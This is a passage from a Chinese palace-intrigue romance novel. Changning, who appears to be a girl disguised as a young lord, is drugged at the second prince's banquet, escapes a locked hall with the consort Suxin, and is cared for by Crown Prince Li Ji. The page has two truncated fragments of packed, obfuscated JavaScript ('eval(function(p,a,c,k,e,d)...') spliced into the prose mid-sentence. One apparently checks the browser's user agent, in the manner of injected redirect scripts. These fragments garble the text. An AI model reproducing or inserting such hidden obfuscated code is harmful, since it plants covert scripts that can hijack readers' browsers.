英国公示意常宁坐下，一家三口围在小圆桌旁，低声道，“刚下的旨意，要建接仙台，你可晓得？” 常宁摇摇头。她只知道陛下宫里有群人在炼丹，但只是些延年益寿、让人大展龙威的丹药。虽然御史弹劾过，但没什么用。又有御医去检查过丹药，确认并非毒丹，也就由他去了。 英国公道：“要八百万两白银。” 常宁瞠目结舌。李稷不瞒着常宁，常宁前些日子在东宫，就见他似乎在忧急国库之事，也从他那儿知道，国库一年收入才五百万两左右。 “一个接仙台，要这么多？”常宁是不大信的，这必是有人要中饱私囊。 姜夫人叹息，“何止。每年赈灾、修护河渠、给养官员、供养军队、维护行宫，加上宫里的开销，原就落不下大钱。从前每年收支相抵，还能留下一些，但也不多。这建接仙台，银子也不知要从哪里来。” 常宁也有些惶惑。朝廷银钱不够，他们这些家境殷实的大户首当其冲，怕是要伤筋动骨。 只是不清楚，朝廷是要给个机会让他们主动捐银子，还是要网罗个罪名抄家。 英国公轻抚姜夫人肩背，轻松地笑了笑，“若是顺利，宁宁，今年咱们就要离京了。只是走之前，要为你表妹和姑母做些打算。” 姜夫人柔声哄常宁，“不怕，你照常行事就好，凡事有爹娘。清河都快十六岁了，你姑母也托我们留意些，考量下那些少年人的品性。” 常宁记忆里，李稚还是要护着的妹妹，“可她是公主。” 姜夫人美目微瞪，“公主怎么了？” “夫人莫急，”英国公道，“宁宁，近日北边匈奴有异动，只怕不日也要开战。” 他招手让常宁靠近，耳语道：“若是败了，陛下要送公主和亲，清河可是正当龄。纵是胜了，依照陛下求仙问道的劲头，说句不好听的，若是龙驭宾天了，公主再守孝，总是蹉跎岁月。” 他们每年都散出去不少钱，有些是进了朝里某些人的口袋，有些是捐出去救急救灾。陛下要建接仙台，他们家必然要元气大伤。 介时，因修建接仙台而空虚的国库，只怕也难提供军队的粮草、战马、武器、战车和盔甲、冬衣。若不能在开战前退出京城，他们家又元气大伤，交的银子不能让陛下满意，必然要被抄家，性命难保。 若是陛下要和亲，宫里适龄公主虽有好几位，他们所剩银钱不多，也便不能为李稚运作。 常宁明白了，“我要做什么？” “照常就好，”姜夫人道，“寻常交游时多留意着，打听打听他们家中如何。” 这个常宁擅长，“包在我身上。” 32. 中药 小槅窗，幽竹丛生，风过疏疏。 常宁躺在竹椅上，抱着小酥山挖冰酪吃，瞅瞅埋首书案的李稷，溜到窗子前，换了个勺子，“你要不要吃？” 李稷头也不抬：“夏日贪凉，要生病的。” “你是不是怕死？”常宁胳膊肘压在窗棂上，脑袋钻进窗子里，嗓音压得低低的，“那你想不想长生不老？” “荒唐，”李稷搁笔，直视常宁清透水润的桃花眸，“若能长生不老，坟冢中岂会埋葬那么多帝王？” 常宁看着他笑起来，“我好喜欢你，你看起来不像会被骗的样子。” 李稷让常宁进来。 “不嘛，”常宁耍赖，“里面闷死了。” “只是尝尝你的酥山。” 常宁觉得他开窍了，脚底抹油绕进去，一勺挖下酥山尖尖上点缀的樱桃，“我忍着没吃，特意留给你的，你快吃。” 李稷伸指，抵在银勺柄上，将这勺带着凉气的樱桃酥山送入常宁口中。常宁早就想吃，嚼吧嚼吧吞下了，坏笑着看李稷。 笨死了，送到他嘴边，他都吃不到。 还说要尝尝，骗她玩的吧。 “好吃，”常宁问，“你的帕子呢？” 李稷递给常宁。 纯黑的，用青线绣了竹子。常宁觉得用金线绣更好看，还给了他。 连张帕子都这么呆，常宁都不好意思把樱桃核吐进去了，把自己的漂亮帕子拿出来，决定回家洗一洗，再用几天。 她娘绣的就是好看！ 常宁准备走，被李稷拦腰带进怀里，推搡道：“好热，挨这么近。” 李稷：“孤也热。” 常宁：“你抱着我，那肯定热……” 她的话都被李稷堵在口中。 许是常宁之前太抗拒那些粗俗的话，这次和好之后，李稷就收敛了许多。只有在这般亲密时，常宁才会察觉到他搭在她腰间的蛮横力道，动一下都难。 李稷指尖点在常宁唇上，“这里就很凉。” 常宁皱着眉头，心不在焉。 李稷剑眉斜挑，“这就弄疼你了？” 常宁点点头。 倒不是他亲疼她了，只是常宁脊背碰到了案上的棱角，磨得有些疼。但常宁不敢说，怕李稷要她脱衣服给他看。 “你在做什么啊，殿下？” 李稷带着常宁坐正了些，将案上的简牍指给常宁，“民生多艰，若是战事再起，恐怕有得苦头受。你看江浙，赋税重地，近年也没遭过大灾，繁华一日胜过一日，交的赋税一年少过一年，却无一人质疑，定是官场上勾结一片，官官相护，水深得很。” “方宾客给孤荐过几个人，孤都不太满意。这些人去了江浙，只怕要被吃得骨头渣都不剩。” 常宁看得仔细，闻言回头看他，不小心擦过他喉结，被他单手罩着脑袋转了回去，“认真些。” 常宁止不住地回头，从李稷怀里挣出来，茶色双眸一眨不眨地盯着李稷。 李稷问：“怎么了？” 常宁搂住李稷脖子，“殿下，真希望你一直这样，不然世道乱了，我会死掉的。” 李稷皱眉，“莫要轻言生死。” 常宁觉得李稷太小心，“说一说，又不会真的死掉。殿下，我待会儿就要走了，二皇子请我去他那里赴宴。我都推过好多次了，这次推不掉。” 李稷原先对李慎只是防备，在他几次明里暗里给常宁塞舞姬后，已经转成了厌恶，“何时回来？” “戌正，”常宁道，“有些晚。我走了后，就不来看你了，得快些回家。” 李稷给常宁理了理鬓发，将那金冠正了正，“孤想同你更亲密一些。” 常宁心里门清，可劲逗他，“那为什么不呢？” 李稷道：“你会死的。” “为什么？”常宁疑惑，这倒和她想得不大一样，遂追问道，“太疼了吗？我确实怕疼。” 李稷一笑，把简牍都丢给常宁，“非也。看完再走。” 常宁觉得，李稷人还是不错的，捧着简牍看起来，忽然忆起一事，想了想还是咽下去。 …… 二皇子今晚请了许多人。 常宁讨厌他，一看就色欲熏心的，三天两头办宴会，比她还花钱如流水，还总是把很多舞姬歌姬推到常宁身边。不提李稷见了要生气，只女孩们大多不情愿，就够常宁闷闷不乐地了。 是夜，凉风习习，灯火璀璨，席间丝竹声与喧闹之声不断。常宁放眼四望，见他们放浪形骸，默默地把这些人从备选名单里剔出去。 不过也有几个不荒唐的，静静待在席次里清谈饮酒，容貌也不错，常宁觉得符合李稚的审美，主动离席去攀谈。 连着谈了几个，常宁都很满意，去找长得最好的那个。 这位生得好，峨冠博带的。常宁听过他，喜好谈玄学佛理，似乎于仕途上不大进取，不爱功名。李稚是公主，够尊贵得了，俗话说一个女婿半个儿，驸马爬得太高，陛下也不放心不是。 就这种长得好看、家风清正、人又没野心的带劲，能长长久久的。 得益于严先生的敦促，常宁在清谈上大有长进，两个人举杯谈了小半个时辰，各个都是滔滔不绝、连绵不断，也辩不出个高下，仁兄已经情绪激昂地要约常宁下次到他家里再论了。 常宁哪里会不应，“我带个人去，你没意见吧？” 仁兄犹豫：“贤弟要带谁来？家规严格，不许我同狂浪之人来往。” 常宁更满意了，“品性绝对好，你一定喜欢的。” 仁兄咬牙应下了，再三叮嘱。身侧宫人倒酒，不慎倒了酒杯，酒液浸湿了常宁衣摆。 宫人跪地，瑟瑟发抖，不住磕头，“少爷恕罪，少爷恕罪，奴才带您去更衣。” 小事而已，常宁心道何至于此，但宫人显然受惊，动作快得常宁拦都拦不住，“带我去更衣吧。” 看她这么小心，想必是执事管得严，回去要挨重罚。常宁也无心为难她，反正这里离姑母宫中近，常宁到殿里坐一会儿，就离席到姑母宫里转一圈，随后回家便是。 常宁对二皇子的宫殿不大熟悉，只觉得金碧辉煌，一看就砸了不少银子。等跟着宫人弯弯绕绕，冷风一吹，常宁脸颊便有些热，伸手拍了拍，只当酒劲上来了。 一进殿，殿门从身后啪地关上了，常宁哆嗦了一下，回身去拍门，发现门被锁得严严实实，连窗子都紧紧封着。 殿里面飘来若有若无的呻吟声，柔柔的，常宁额汗滚滚，没敢回头。 “公子……” 这声音有些熟悉，常宁迅速瞄了一眼，素心衣着轻薄，遮不住暧昧痕迹。 常宁忙垂头，“请姑娘指条明路，小生待在这里，恐怕会误了姑娘。” 听闻二皇子对素心宠爱有加，常宁也晓得木秀于林风必摧之的道理，暗地里揣测，怕是有人要害素心。常宁若是继续待下去，被人瞧见他们不清不楚的模样，不止素心要受罚，常宁也要遭殃。 何况常宁也觉得自己不对劲，昏昏沉沉，又浑身发热。 素心瞧起来已经意识模糊，扯着衣襟喊难受，想抱抱常宁，一会儿又摇摇头，目露痛苦。 “素心姑娘，我给你找身衣服，你自己换上，待会儿我撬开窗子，你是待在这儿或是出去，也都方便些，”常宁决定溜了，翻开了一个个箱笼，绝望地发现，里面全都是些杂物，压根没一件衣裳。 这里看起来就不是姬妾居住的宫殿，若真是有人存心陷害，必定是要带着人杀回来看的，留素心一个人在这里，怕是要糟。二皇子后院里女人本就多，这么一闹，素心失了宠爱，重重宫闱之中，就难过活了。 常宁回头问：“素心姑娘，你要和我一起走吗？” 素心扶额点头，眸子里显出泪花。 常宁咬牙从袖子上撕下一块布条，拔了束发的簪子和金冠，随便将长发挽起，将簪子伸进窗缝中，不信邪地挨个试了试，发现这窗子被封死了，急得冷汗涔涔。 这屋子里就蜡烛点得多，总不能推倒烛台把这儿烧了吧？那岂不是要困死在这里。 素心恍惚，却也看出不大对，“打不开吗？” 常宁见她满脸泪水，哄道：“姑娘莫怕，都是小事。你先披着我的衣裳，待会儿我带你出去。” 把衣裳递给素心，常宁搬起矮墩子，发狠砸在窗子上。这窗子也不知怎么做的，坚牢如斯，常宁砸得是气喘吁吁，这才砸断了几根横木。万幸殿外人似乎被遣走了，这么大的动静，也无人来察看。 木刺四溅，有一根从常宁颊上擦过，常宁抹了把脸上的血，听到门外有脚步声，愈发用力。 “素心姑娘，你换好衣服了吗？” 没得到回应，常宁回头，就见素心抱着她的衣裳，呆愣愣站在那里，“你一个人走吧，带上我出不去的。” 常宁晃晃脑袋，散去脸上的热意，“不会的，姑娘莫怕，我就快砸开窗子了。” “我会害死你的，”素心泪流满面，死死咬着下唇，将抱着的衣裳丢给常宁，冲着墙壁撞过去。 常宁吓一跳，忙扔了墩子，快步跑到她前 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侍卫砰砰砰敲门，“奉殿下令，搜纵火贼。” 常宁看不见他们的令牌，但火是在二皇子那里起的，下意识便觉得是二皇子，那她便不能和素心一起现身，“素心，你到榻底避一避。”在侍卫进来前，常宁学着张侍玉教她的法子，费了些劲躲到房梁上。 房梁很宽，常宁平躺着，把衣服、头发都拢起来，拿衣袖遮住鼻子，免得呼吸间带起积尘露了踪迹，听着底下人搜查的动静。 青鱼问：“找到了吗？” 侍卫道：“公公，殿里没有男子。” 好熟悉的声音！ 常宁一骨碌坐起来，抱着房梁探头，“有呀有呀，我就是！” 青鱼吓得魂飞魄散，派人去报信，“哎哟常少爷，怎么上这么高！” 常宁头重脚轻的，反驳道：“哪里高了，我下得去。” 李稷的嗓音从外面飘来，“下一个给孤看看。” 常宁一噎，“那得让我歇一会儿，我现在没力气。” 李稷为常宁这无赖姿态恼火，带跨进门槛来，瞧见人白净脸颊上满是烟灰，还带了道血痕，气就消了大半，飞身上去将人带下来。 常宁太累了，连夸他轻功好的话都说不出来，靠墙坐下，抱膝晃晃脑袋，“素心，素心，没事了，我家殿下来了，你出来吧。” 侍卫早就报过，殿里还躲着个女人。李稷只是寻常宁，无心去关照旁人，原打算眼不见为净。可素心一出来，李稷简直目眦欲裂，拎着常宁就走。 他的车辂，赤质金饰，镂锡悬铃，常宁见过许多次，这还是头一次在宫里坐上。 常宁靠在凉凉的车壁上，脸上都是灰印子，中衣也沾了灰尘。 李稷胸膛里烧着一团火，冷哼道：“以往让你少去宴席上闹，你总是不听，现在中了药，可有得难受。” 他讲话一向不中听，常宁只听自己想听的，捧着脸笑道：“我还是生平第一次中这药，怪新奇得嘞。” 李稷拿帕子给常宁擦脸，到那道血痕时，动作轻了些。 常宁抓住李稷手臂，歪头蹭了蹭，“为什么靠近你这么舒服？”连她最讨厌的沉香味，此刻都能容忍了。 李稷道：“你中药了。” 常宁抬眸问：“你带素心了吗？” 李稷：“素不相识，带她作甚？” 常宁低落：“她也是身不由己。” “怜香惜玉？”李稷呵笑一声，捏住常宁下颌，撞见那眸子里的泪光，心头非但不软，反而愈发冷硬、愈发躁热，“你且给孤记住了，人各有命。” “我难受，”常宁在他脸颊上亲了亲，面色潮红，止不住落泪，“如果我和素心一样，你是不是也不会救我？” “你只是中药，”李稷嗓音冷冽，“你不会和她一样。” “你总是骗我。”常宁泪眼朦胧，抿唇不语，复又远离了他，依旧借力靠在车壁上，负气闭眼，攥着衣袖的手背上浮着淡淡的青筋。 “是，”李稷无奈，掰开常宁手指，让常宁抓握着他的手，“别伤着了。孤替你带着素心的，等你解了药，你再去安排她。只有一点，不许留在你眼前。” 常宁不理他。 “还气？”李稷失笑，理理常宁濡湿的发丝，“御医在东宫候着，莫怕，不会让你一直难受的。” 常宁理直气壮，“我要回家。” 李稷搂住常宁，“就在东宫。” 33. 秘密 御医睁大老眼，不住拈须点头，伸手要去探常宁手腕。 常宁一个颤栗，弹到李稷身后，叫道：“老牛吃嫩草哇！殿下救我！” 御医脸都绿了，垂着袖子坐立不安，“殿下，老臣还是个人，还是有些医德的。” 李稷歉意颔首，拎常宁出来。 常宁紧紧抱着他，“不行，我只信殿下。” 御医心里嘀咕，这常家少爷忒没眼力见了，在殿下面前也没个正形，这般口无遮拦，殿下平生最不喜，怕是要挨罚。 李稷揉了揉常宁发顶，“你可有对症？” 御医：“还没把脉……” 在李稷迫视之下，御医改口，“也能看得出来。这药虽然霸道，但只要纾解出来，对身体是无碍的。” 李稷：“如何纾解？” 御医：“男欢女爱，最为上佳。” 李稷立时蹙眉，“可还有别的？” 御医被他看得心里发毛，转念一想，此处是皇宫，找人同常家少爷阴阳调和，岂不成秽乱宫闱了？如此，御医自忖理解了李稷的隐怒，补充道：“泡冷水，多捱些时间。清泻之药也有用，但无法排清药效，也更折腾人。” 常宁裸露在外的肌肤都泛着不正常的红，嗓子也干渴得紧，微张着唇喘气，闻言忙看向李稷，“我要回家。” “晚了，”李稷睨给刘总管一眼，半拉着常宁往内殿去。 此处是李稷沐浴的殿宇，这边是寒泉，正对角的殿宇里还有处温泉。 常宁抱着朱漆柱，死也不下水。 李稷：“你自己下去，还是孤踹你下去？” 常宁伸指竖在眼前，小声道：“都不要，行吗？您就行行好吧！” 李稷险些被常宁晃过去，“没门。” 常宁认了，“那先把要换的衣服拿过来。我口渴，我还想要两壶凉茶，就放在池边。我还不喜欢旁边有人，谁都不许进来。” “麻烦，”李稷不耐，挥手叫来青鱼，“还不照做？派人把守着殿门，除非他叫，不许进去。” 他顿了顿，又道：“每隔一刻钟，就叫他一次。他若不应，速来寻孤。” 待李稷离开。常宁忙问青鱼，“素心呢？” 青鱼道：“服了御医开的药，好多了。殿下说，等您解了药后，由您安排素心姑娘。” 常宁松了一口气，眉眼都舒展开来。等布置妥当后，宫人一个个退下，偌大的宫殿里，只剩下常宁一个人，常宁才小心脱了衣服，将束胸带叠好，藏在旧衣里。 要不是怕换衣服后沾湿新衣惹人怀疑，常宁都想和衣下水了。 寒泉水凉得常宁一个激灵，背靠玉阶，虚浮在水面上，躁热确实压下不少。 就是茶凉了些，早知道要热茶了。 青鱼贴心，还顺带放了瓜果和少许下酒菜，常宁美滋滋吃着，连疲惫都少了些。 李稷挪了书案，在殿外长廊下守着。提笔处理公务的功夫，就听常宁打了数个喷嚏，招来御医，“能否快些解了药？” 御医在宫里几十年，大风大浪见多了，放在小年轻身上还要觉得是刁难，在他这就像落了片羽毛一样，暗示道：“发泄出来就好。” 李稷明了，搁笔入殿，叮嘱侍卫们守好殿门，听到任何动静都不许进去。 一进殿，温度骤降，整座大殿里都是阴凉的。 白皙圆润的肩头，单薄瘦削的脊背，马尾松松散散挽着。纵然是背对着，依稀也能瞧见常宁手中捏着的桃粉糕点。 常宁手一顿，“谁？” 李稷缓步而行，“孤来助你。” 常宁把篮子里的花瓣一股脑全倾倒进池中，“可我不需要你帮忙啊。” 李稷道：“御医说，提早发泄出来，你就能早些出来。” 常宁嘀咕：“那我自己来就好，你告诉我怎么做就行了。打住，别动。” 李稷蹙眉：“你没做过？” “要做什么？”常宁疑惑，随口道，“我家里有丫鬟小厮，用不着我来做。” 李稷脑中炸开一道惊雷：“你真是、好得很。” 常宁没听懂，身子往下潜了潜，叫道：“别走了别走了，我害羞！” “哪个害羞的嚎这么大声？”李稷脚步一顿，嗤道：“摸都摸过，还害羞？你家里那些丫鬟小厮，用起来不是很舒服吗？” “什么呀？”常宁觉得他古怪，但他不动了，就让她心里好受许多，“他们平日里要做许多事，洒扫、采买、浆洗、侍弄花草……很累的。大家帮我做了这么多，我当然过得舒服了。” 常宁声线平稳清透，不抖不颤，坦坦荡荡。 李稷错愕，“你……不举？” “你才不举！”常宁懵了一瞬，握拳砸向水面，气得背都是抖的，也明白了他说的助她是怎么个助法，“你手那么粗，我才不要。你出去！” 李稷怜悯：“孤不同你计较。” 天可怜见的，这么个美少年，万花丛中过，不得不片叶不沾身。连御医都不敢碰，就是守着这个秘密吧？怜惜之余，李稷心头升起一股隐秘的快感。 每每宴席上，各样美人扑在常宁身旁，李稷都嫉妒得发狂。她们能光明正大地同常宁相处，而他只能在背着外人的地方与常宁亲密。那么多人爱着常宁，那么多的诱惑，若是有朝一日常宁爱了哪个，同人家比对他还亲密讨好……李稷眸色一冷。 常宁又羞又气，还要提防他过来，小声道：“你能不能先去殿外？” 李稷无比包容，怜惜未尽，“莫怕，孤陪着你。” 颅内有疾啊！ 常宁才没有暴露癖，一时无语，扭过头去生闷气。 李稷依旧未动：“同孤讲讲，席上都有何事。” 常宁：“你转过去。” 李稷默默转身，走到屏风后，“如此可好？” 常宁迅速看了一眼，“这还差不多。” 席上交谈，常宁一语带过。怕李稷误会素心，亦是心中有不解之处，常宁便将与素心的事讲得细了些。 李稷嗓音冷了：“往后再有此事，速来寻孤。其余人等，孤派人去救。” 常宁：“……殿下，我是想问问您，这是有人有害素心，还是有人要害我？” “自然是害你，”李稷抵唇轻咳一声，“你说，她要撞壁？” 常宁愤愤：“是，都是那群混蛋干得好事！” 李稷冷笑：“你要没拦着，今日就是孤去了，你也得被扒下一层皮。” 常宁问：“二皇子害我吗？他害我做什么？” 本是不能告知常宁，然忧心常宁再中了套，李稷避重就轻，提点道：“他母族武将多，如今国库空虚，北境又将有战事。” 这就是缺钱了。 常宁气得咬牙，“那你可得帮着我，不能帮他。” “自然。” 李稷今日耐心格外好，脾气也好。常宁见他有求必应，一口气提了好多无赖要求，他都应下了。 常宁道：“你先去殿外，我要换衣服。” 李稷亦知常宁之羞耻，配合地出去了。 等人出去，常宁擦干了身子，把束胸带翻出来，换上新衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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素心已经换下了常宁的衣服，着一袭豆绿色宫装。 常宁觉得很漂亮，问道：“素心姑娘，你要回去吗？” 素心泪水哗哗流，摇了摇头。 常宁：“那你想回家吗？” 素心低眸：“我家道中落，父母亲人俱已亡故，无家可归。” 常宁有些伤感。何况回了家，若是二皇子寻仇，恐怕又是一遭劫难。 李稷对常宁道：“你先出去。” 常宁不乐意。 李稷：“出去。” 常宁小声叮嘱，“你别太凶。” 已过了戌正，天上挂着一轮圆月，浮云流纱一般轻拢着黄澄澄的月亮。白日里小太监捉了蝉，此刻便连蝉鸣声也稀疏。 常宁托腮坐在石阶上，殿里的声音一直低低的，总也听不清。不知过了多久，殿门打开，李稷侧身出来。 “要落钥了，”他道，“你该回去了。” 常宁揉揉眼睛，“素心怎么样？” 李稷：“已安排好了。” “不回二皇子那里？” “嗯。” “不会被他寻仇？” “嗯。” “她愿意吗？” “嗯。” “那……会不会牵连到你？” 李稷眸中浮上笑意，“不会。” 常宁捉住李稷一只手，手指挤进他指缝里，握着晃了晃，“殿下，你人真好。” 34. 难装 书斋里，常宁案旁围了几个人。 许是今日天气好，云策情绪显而易见地高涨，墨眉飞扬，“你们猜这次来报案的江湖人是谁？” 常宁听他提到江湖，桃花眸一亮，“谁？” “天下轻功第一人，武陵快哉风！”云策兴致勃勃，推推捧着木雕发呆的江晚照，“认真听。听说快哉风一日行上百里都不觉疲累，怪不得要派他来咱们京城报案。” 常宁接道：“那岂不是遇到危险就能跑，谁也抓不住他？” 云策也钦慕，“只要不是大围堵耗尽他的体力，谁能挨到他衣角？但能调动那么大范围的人去围堵快哉风，也只有朝廷才能做到了。” 江晚照目露向往，低头摸索着自己的木雕，“天下第一就是这样吗？” 常宁笑道：“江兄，你精于一道，未必就不能争一争天下第一。三百六十行，行行出状元嘛。” 云策捶捶江晚照肩膀，打拳鼓气，“就是这样！我每天都习武，起得比鸡早睡得比狗晚，现在武师傅都打不过我了！” 常宁忍不住笑了：“你能不能说点好听的。”她整理书袋，挥手告别，“我去找殿下。” 云策忙追上，“我也去，我好久没见过殿下了。” 青鱼守在书斋外，躬身行礼，“两位伴读，殿下午膳在坤宁宫用，归期不定。东宫已备下午膳，二位是要去东宫，还是择日再拜访殿下？” 他们殿下乐见常伴读，却不见得乐意同时见旁人。 常宁一思忖，“我们不去了。” “真的？”云策惊喜，乍见常宁和青鱼都看着他，敛了容色，“我是说……下次再去也好，能多见殿下一会儿。常宁，我们去鸣春湖，好久没去了！” “成啊。” 常宁先行。云策落后半步，踩着常宁的影子，唇角上扬，眼角眉梢都是笑意。 “云策，”常宁回头看他，“殿下去娘娘那里，是做什么呀？” 云策与常宁并行，小声道：“婚事。” “哦？”常宁嗓音一转，“哪家的贵女？” “不清楚，”云策乐淘淘地叮嘱常宁，“你以后也少去找殿下，不然多耽误殿下和贵女相处。” 常宁冷哼一声，“哦，这么说，倒是我耽搁他了。” “别生气嘛，”云策拍着胸脯保证，“我不娶妻，你来找我。” 常宁闷闷不乐，抱臂转过身去，躲过脚下飞来的石子。 “殿下娶妻，好事，你笑一笑嘛，”云策抓了两缕树枝，手举着插在自己头上，咧嘴笑道，“你看我，像不像大将军？” 常宁噗嗤一笑，点脚踹飞几粒鹅卵石，“走吧，去别的地方转。” 云策高兴了，“还有我陪你玩，别怕。” 他挠挠头，“我怎么听到有人在叫？谁落水了吗？” “怎么会？”常宁撇嘴，“我可没听到。” 云策惊悚：“那我们遇到了……快跑啊常宁！” 他一个人铁定不怕，但常宁还在，万一那家伙缠上了常宁……云策一个激灵，几乎是拖着常宁跑。 常宁跑得气喘吁吁，扶膝道：“我们找个公公过去，万一里面有人呢。” …… 御书房散学的点，常宁抱着书袋，打卯一般往东宫去。 李稷还没回来。 昭阳殿都快成常宁的宫殿了，每次来青鱼都备好了小食和茶水，常宁纳凉写课业，已然十分自得。 待写得差不多，常宁就要告辞。 青鱼忙劝道:“三殿下不慎落水，娘娘带着殿下去探望了，想是要晚些回来。”他斟酌着，“三殿下果真是受尽宠爱。咱们殿下少时，也曾落过水，险些去了半条命，陛下和娘娘只赐了些赏。” 常宁道：“我也是这样想。” 青鱼苦笑。常宁这口不由衷的劲儿，连他都能看出来。 还没到昭阳殿门口，李稷已经大步迈进来了，见常宁一副整装待发的模样，挑眉道：“这是做什么？” 常宁咳嗽一声，围着他转，“男婚女嫁，多大的好事。在下沾了喜气，当然要回家乐呵乐呵了。” 李稷掀眸，微微颔首，径直往殿内走。 常宁愣在原地，回过神后追上去，“喂，你什么意思。” 昭阳殿里宫人极少，得了刘总管的吩咐，一见他二人在一起，就悄声退下。 李稷自顾自倒茶，看得常宁牙痒痒，攥拳道：“回家了！” “别价，”李稷露出个笑，“不逗你了。” 常宁气顺了，一溜烟跑过去，嗅到栀子花香，桃花眼亮晶晶，“你是不是要娶妻？” 李稷笑意渐消，敛眸淡淡道：“与你何干？” 关系大了！ 常宁掰着手指头，“你要是娶妻，那我肯定不能在这里碍眼，不能让太子妃娘娘不高兴嘛。这马上就中秋了，虽然不到咱们约定的时间，但提前结束也不是不可以。殿下想要什么……” “砰——” 釉彩瓷杯摔落在地，碎屑四散，茶水洇湿地板。 常宁忙低头。 李稷神色阴冷，白袜黑舄映入常宁眼帘。常宁稍一抬眼，就能看到罩在白裳上的绛纱袍，垂在身侧的玄黑大袖上纹有华章。 鲜少见他穿得这样正式，或许今日真是个重要的日子。 那她这话……很败兴吗？ “怎不抬头，看看孤？” 当然是不敢。 谁抬谁傻。 李稷两指抵在常宁下颌，将人脸托起，笑道：“太子妃高兴，还是你高兴？” 常宁忙不迭摇头：“我不高兴，我伤心。不不不，我忏悔。” 李稷微微一笑，松开常宁，负手往外走。 常宁急了，快步追上去，“哪里不对，你告诉我嘛，我会改的。” 李稷背影萧瑟冷淡，“改不了。” “我不信，”常宁想抓住李稷衣袖，也被他甩开了，“我一定能的。” “刘章，”李稷道，“送他回去。” …… 常宁真是百思不得其解。 然而这不影响她参加宴席，只是情绪不大好。 孟学洲近日也总是在宴席上出没。 常宁稀奇：“这是天仙下凡了。你从前参加的宴席可都是讲玄论道的，怎么最近也开始来我们这些俗人的宴上了？” 孟学洲反问：“你来做什么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二人起初还有新鲜劲，总是带猎物到家里，后来家中长辈都对他们颇有微词，只得作罢。 常宁喜欢这样多姿多彩如画卷一般鲜亮的生活，不喜欢守在小小一方殿宇里看变幻的云彩。和李稷坐在一起，他处理公务，常宁看书写课业，看得最多的，就是他的侧脸。 一张常宁钦佩的勤政脸庞。 但钦佩归钦佩，常宁还是会感到索然无味。如严先生所讲，人各有志，道不同不相为谋，虽她与李稷不至于此，但终究不同。常宁爱松风明月，也爱丝竹管弦，更爱与人交游。 在李稷的宫殿里，连聒噪的夏蝉都叫得稀疏无力，能与常宁交谈的更是屈指可数。大多时候，常宁的交谈对象是李稷，然李稷繁忙如斯，哪怕得了空听常宁讲话，回应也平淡。 常宁挫败又无力。 也或许并非真如此。 常宁按了按额角，吐出一口浊气。 厌倦的从来不是李稷，而是常宁。 短短一个多月，闹到此等地步，吵都吵了两次。 爱一个人有这么难吗？连装都装不出来。 35. 田庄 常宁才不想那么多。 人生得意须尽欢嘛，还是要及时行乐，再想就要不开心了。 踏着月色进家门，常宁照旧绕到祠堂里，净手净面，恭恭敬敬地跪在蒲团上，给长辈们一个个磕头，“列祖列宗在上，晚辈常宁，恳请您垂顾一二。” 香烛散发出好闻的气息，常宁躬身将香埋在香炉里，扒过香灰盖好，口中念念有词，又重复了一遍。 才刚起身，就听到英国公的怒喝，“你给我跪下！” 常宁麻溜跪倒在柔软的蒲团上，“爹，这是怎么啦？” 英国公眉头倒竖，“三皇子殿下落水，你为何不去救？殿下今日呛了满肚子湖水，亏得御医妙手回春，这才没铸成大错。” 常宁喊冤：“我连他在哪儿落水都不知道，怎么去救。” 英国公哼道：“鸣春湖，你今日午间可曾路过？云家后生听到人声，可是你反驳说没听到？” “啊？是，”常宁嘀咕，“可我当时是真没听到，后来不放心，还去叫人了呢。” “叫了人也不够，”英国公挥手，派人把门关上，“你在这儿跪上两个时辰，好好背背咱们家家训。” 祠堂里一块块冷冰冰的牌位，小山一般。常宁幼时还会怕，如今已全然不惧，跪在那儿老老实实背家训，背得口渴了就自己去倒水喝。 “清粥小菜，用之可心。珍馐玉馔，何胜园蔬……” “见贵莫谄，遇贫勿骄……” “出手凭仁义，受恩如涌泉……” 常宁从小背到大，早就背得滚瓜烂熟，闭着眼睛就能背出来。背累了，就靠着翻家谱，反正外面也没人盯着她。 两个时辰一到，小厮就来开门了，常宁拍拍膝盖走出去。 常宁还记得头一次犯错时，是她幼时不爱念书，气得先生给爹娘告状。爹娘都不舍得罚她，但又不得不罚，就让她跪祠堂背家训，一直念那句“富贵不忘诗书”，念了半个时辰，常宁直接念吐了，自此看什么书都比家训有趣。 略大些，常宁会和爹娘犟嘴，说这自相矛盾的家训根本就不值得背。英国公当时拿柳条抽了她几下，却没否认她，反而微微笑了，指着她道：“世上本不存在奉为圭臬的东西，即便你不懂，到你志学之年，爹也要想法子叫你说出来的。” 常宁不服：“那你为什么还抽我手心？” 英国公一笑：“你要问列祖列宗，咱们家哪个孩子没挨过这柳条？”又凑近悄声道，“爹小时候，你祖父祖母不舍得罚爹，也是让爹跪祠堂背家训。” 常宁笑笑。 她只要知道爹娘是不舍得罚她的就好啦。 回了自己的院子，常宁取出无忧寄来的信，一封封看过，提笔斟酌着回信。 他的最后一封信是五天前，道是有重要的事要约常宁一见。常宁算了算，李稷这几天应该都不会见她，兴许连想起她都气闷，当是不会关注她，正是见无忧的好时候。 洗笔时，一道阴冷的视线如跗骨之蛆般爬到常宁身上。 院墙堵住了月光，打下一条长长的阴影。一道比阴影更浓稠的影子，鬼魅一般伫立在院墙下。 蓦然对上那双寒眸，常宁冷得打了个哆嗦，“公孙瑾，这么晚，你来我家做什么？” “看你一眼，”公孙瑾目光游移，似有穿透力。 常宁秉烛，将院里的石灯一一点燃，方抬袖擦汗，公孙瑾已弹出石子，将烛芯挨个打灭。 “你！” 公孙瑾走出来，“夜深了，无需搅扰府上人。” 常宁：“那你就来搅扰我？” 公孙瑾失笑，眸光落在常宁脸上，显出些许迷惘，直将常宁气得背过身去，这才道：“不请我喝杯茶？” 常宁毫不客气：“只有冷茶。” “对我是冷的，”公孙瑾呢喃，步步逼近，“对他是热的。” “是人变了，还是茶冷了？” “还是你看人下菜？” 常宁脸色也冷了，“是你钻牛角尖。” 